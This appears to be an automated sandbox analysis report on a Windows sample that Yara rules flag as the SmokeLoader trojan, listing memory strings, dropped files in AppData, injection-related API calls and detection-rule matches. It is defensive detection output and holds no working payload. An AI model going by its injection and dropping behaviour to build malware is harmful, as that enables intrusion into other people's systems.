Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: OpenWith.exe, 00000002.00000003.1977656573.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964025211.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-21
Source: OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17N-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP
Source: OpenWith.exe, 00000002.00000003.1879722853.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030392047.000002427DACB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856557665.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964129918.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Q
Source: OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t.mc_id=EnterPK201694ba2e0b-6
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED

Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_86419ece-0

Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_61726c4b-b

Source: Yara match	File source: 31.3.dialer.exe.4ee0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.dialer.exe.4ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.dialer.exe.5100000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.e7CLP6462y.exe.3d30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.e7CLP6462y.exe.3b10000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dialer.exe.51c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dialer.exe.53e0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.dialer.exe.4ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.B677.exe.3b00000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000003.2387945281.0000000005100000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2347834429.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2387276709.0000000004EE0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e7CLP6462y.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 7144, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD30C7 RtlAllocateHeap,RtlAllocateHeap,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,RtlDeleteBoundaryDescriptor,RtlDeleteBoundaryDescriptor,	2_3_000002427BCD30C7
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEA600 NtAcceptConnectPort,	2_3_00007DF486EEA600
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEA540 NtAcceptConnectPort,	2_3_00007DF486EEA540
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE92CC NtAcceptConnectPort,_calloc_dbg,DuplicateHandle,NtAcceptConnectPort,??3@YAXPEAX@Z,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,	2_3_00007DF486EE92CC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEA2B0 NtAcceptConnectPort,	2_3_00007DF486EEA2B0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEB154 NtAcceptConnectPort,NtAcceptConnectPort,	2_3_00007DF486EEB154
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEB088 NtAcceptConnectPort,NtAcceptConnectPort,	2_3_00007DF486EEB088
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8D94 NtAcceptConnectPort,	2_3_00007DF486EE8D94
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8D74 NtAcceptConnectPort,	2_3_00007DF486EE8D74
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE9F40 NtAcceptConnectPort,	2_3_00007DF486EE9F40
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8C08 NtAcceptConnectPort,	2_3_00007DF486EE8C08
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE9CA0 NtAcceptConnectPort,	2_3_00007DF486EE9CA0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8C90 NtAcceptConnectPort,	2_3_00007DF486EE8C90
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8A40 NtAcceptConnectPort,	2_3_00007DF486EE8A40
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE8AFC NtAcceptConnectPort,	2_3_00007DF486EE8AFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE9AF4 _malloc_dbg,NtAcceptConnectPort,NtAcceptConnectPort,??3@YAXPEAX@Z,	2_3_00007DF486EE9AF4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB715AC NtAcceptConnectPort,	2_2_000002427BB715AC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB71CD0 RtlAllocateHeap,NtAcceptConnectPort,FindCloseChangeNotification,	2_2_000002427BB71CD0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB71A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,	2_2_000002427BB71A90
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB70AC8 NtAcceptConnectPort,NtAcceptConnectPort,	2_2_000002427BB70AC8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D852868 NtAcceptConnectPort,	6_2_0000018E5D852868
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401668
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00401561 NtAllocateVirtualMemory,	11_2_00401561
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_0040156C NtAllocateVirtualMemory,	11_2_0040156C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401673
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_0040157E NtAllocateVirtualMemory,	11_2_0040157E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00401599 NtAllocateVirtualMemory,	11_2_00401599
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_0040169C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_0040159F NtAllocateVirtualMemory,	11_2_0040159F
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_004016A1
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_004016AA
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_004015AB NtAllocateVirtualMemory,	11_2_004015AB
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401668
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00401561 NtAllocateVirtualMemory,	13_2_00401561
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_0040156C NtAllocateVirtualMemory,	13_2_0040156C
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401673
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_0040157E NtAllocateVirtualMemory,	13_2_0040157E
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_004025C5 NtEnumerateKey,	13_2_004025C5
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00401599 NtAllocateVirtualMemory,	13_2_00401599
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_0040169C
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_0040159F NtAllocateVirtualMemory,	13_2_0040159F
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_004016A1
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_004016AA
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_004015AB NtAllocateVirtualMemory,	13_2_004015AB
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00300607 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	15_2_00300607
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF4B92 RtlMoveMemory,NtUnmapViewOfSection,	17_2_00BF4B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF33C3 NtQueryInformationFile,	17_2_00BF33C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	17_2_00BF349B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF342B NtQueryObject,NtQueryObject,RtlMoveMemory,	17_2_00BF342B
Source: C:\Windows\explorer.exe	Code function: 20_2_009E38B0 NtUnmapViewOfSection,	20_2_009E38B0
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED0607 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	21_2_00ED0607
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_004D1016 RtlMoveMemory,NtUnmapViewOfSection,	22_2_004D1016

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_2_0040154C	0_2_0040154C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD5E7C	2_3_000002427BCD5E7C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD557C	2_3_000002427BCD557C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD58FC	2_3_000002427BCD58FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD24F7	2_3_000002427BCD24F7
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD279C	2_3_000002427BCD279C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD1BA6	2_3_000002427BCD1BA6
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD2C3C	2_3_000002427BCD2C3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_000002427BCD4A38	2_3_000002427BCD4A38
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EF7318	2_3_00007DF486EF7318
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ED5BD8	2_3_00007DF486ED5BD8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F5B68C	2_3_00007DF486F5B68C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FB46F8	2_3_00007DF486FB46F8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA8750	2_3_00007DF486FA8750
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EDD688	2_3_00007DF486EDD688
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ECE414	2_3_00007DF486ECE414
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F2F4FC	2_3_00007DF486F2F4FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F18534	2_3_00007DF486F18534
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA73A0	2_3_00007DF486FA73A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA83B8	2_3_00007DF486FA83B8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F3A3F4	2_3_00007DF486F3A3F4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FB93FC	2_3_00007DF486FB93FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F0C45C	2_3_00007DF486F0C45C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA11BC	2_3_00007DF486FA11BC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ED3314	2_3_00007DF486ED3314
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FB41DC	2_3_00007DF486FB41DC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F0D210	2_3_00007DF486F0D210
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA8238	2_3_00007DF486FA8238
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F2B094	2_3_00007DF486F2B094
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F640A0	2_3_00007DF486F640A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F26F78	2_3_00007DF486F26F78
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F16FA0	2_3_00007DF486F16FA0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F9C01C	2_3_00007DF486F9C01C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F0CEC4	2_3_00007DF486F0CEC4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F36F20	2_3_00007DF486F36F20
